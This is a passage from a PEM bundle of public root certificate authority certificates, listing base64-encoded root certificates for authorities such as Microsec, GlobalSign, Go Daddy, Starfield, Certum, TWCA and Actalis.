MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO
ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6
c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu
0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw
/HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk
H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw
fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1
neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB
BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW
qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta
YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC
bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna
NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu
dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E=
-----END CERTIFICATE-----

Microsec e-Szigno Root CA 2009
==============================
-----BEGIN CERTIFICATE-----
MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER
MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv
c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o
dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE
BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt
U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA
fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG
0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA
pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm
1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC
AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf
QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE
FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o
lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX
I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775
tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02
yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi
LXpUq3DDfSJlgnCW
-----END CERTIFICATE-----

GlobalSign Root CA - R3
=======================
-----BEGIN CERTIFICATE-----
MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv
YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh
bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT
aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln
bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt
iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ
0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3
rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl
OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2
xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE
FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7
lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8
EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E
bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18
YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r
kpeDMdmztcpHWD9f
-----END CERTIFICATE-----

Izenpe.com
==========
-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----

Go Daddy Root Certificate Authority - G2
========================================
-----BEGIN CERTIFICATE-----
MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu
MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5
MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G
A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq
9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD
+qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd
fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl
NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9
BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac
vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r
5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV
N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO
LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1
-----END CERTIFICATE-----

Starfield Root Certificate Authority - G2
=========================================
-----BEGIN CERTIFICATE-----
MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s
b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0
eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw
DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg
VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB
dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv
W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs
bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk
N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf
ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU
JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol
TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx
4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw
F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K
pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ
c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0
-----END CERTIFICATE-----

Starfield Services Root Certificate Authority - G2
==================================================
-----BEGIN CERTIFICATE-----
MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s
b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl
IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV
BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT
dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg
Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2
h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa
hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP
LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB
rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw
AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG
SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP
E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy
xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd
iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza
YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6
-----END CERTIFICATE-----

Certum Trusted Network CA
=========================
-----BEGIN CERTIFICATE-----
MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK
ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy
MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU
ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5
MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC
l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J
J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4
fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0
cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB
Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw
DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj
jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1
mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj
Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI
03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw=
-----END CERTIFICATE-----

TWCA Root Certification Authority
=================================
-----BEGIN CERTIFICATE-----
MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJ
VEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMzWhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQG
EwJUVzESMBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NB
IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFEAcK0HMMx
QhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HHK3XLfJ+utdGdIzdjp9xC
oi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeXRfwZVzsrb+RH9JlF/h3x+JejiB03HFyP
4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/zrX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1r
y+UPizgN7gr8/g+YnzAx3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB
BjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkqhkiG
9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeCMErJk/9q56YAf4lC
mtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdlsXebQ79NqZp4VKIV66IIArB6nCWlW
QtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62Dlhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVY
T0bf+215WfKEIlKuD8z7fDvnaspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocny
Yh0igzyXxfkZYiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw==
-----END CERTIFICATE-----

Security Communication RootCA2
==============================
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc
U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMeU2VjdXJpdHkgQ29tbXVuaWNh
dGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoXDTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMC
SlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3Vy
aXR5IENvbW11bmljYXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANAVOVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGrzbl+dp++
+T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVMVAX3NuRFg3sUZdbcDE3R
3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQhNBqyjoGADdH5H5XTz+L62e4iKrFvlNV
spHEfbmwhRkGeC7bYRr6hfVKkaHnFtWOojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1K
EOtOghY6rCcMU/Gt1SSwawNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8
QIH4D5csOPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEB
CwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpFcoJxDjrSzG+ntKEj
u/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXcokgfGT+Ok+vx+hfuzU7jBBJV1uXk
3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6q
tnRGEmyR7jTV7JqR50S+kDFy1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29
mvVXIwAHIRc/SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03
-----END CERTIFICATE-----

Actalis Authentication Root CA
==============================
-----BEGIN CERTIFICATE-----
MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UEBhMCSVQxDjAM
BgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UE
AwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDky
MjExMjIwMlowazELMAkGA1UEBhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlz
IFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290
IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNvUTufClrJ
wkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX4ay8IMKx4INRimlNAJZa
by/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9KK3giq0itFZljoZUj5NDKd45RnijMCO6
zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1f
YVEiVRvjRuPjPdA1YprbrxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2
oxgkg4YQ51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2Fbe8l
EfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxeKF+w6D9Fz8+vm2/7
hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4Fv6MGn8i1zeQf1xcGDXqVdFUNaBr8
EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbnfpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5
jF66CyCU3nuDuP/jVo23Eek7jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLY
iDrIn3hm7YnzezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt
ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQALe3KHwGCmSUyI
WOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70jsNjLiNmsGe+b7bAEzlgqqI0
JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDzWochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKx
K3JCaKygvU5a2hi/a5iB0P2avl4VSM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+
Xlff1ANATIGk0k9jpwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC
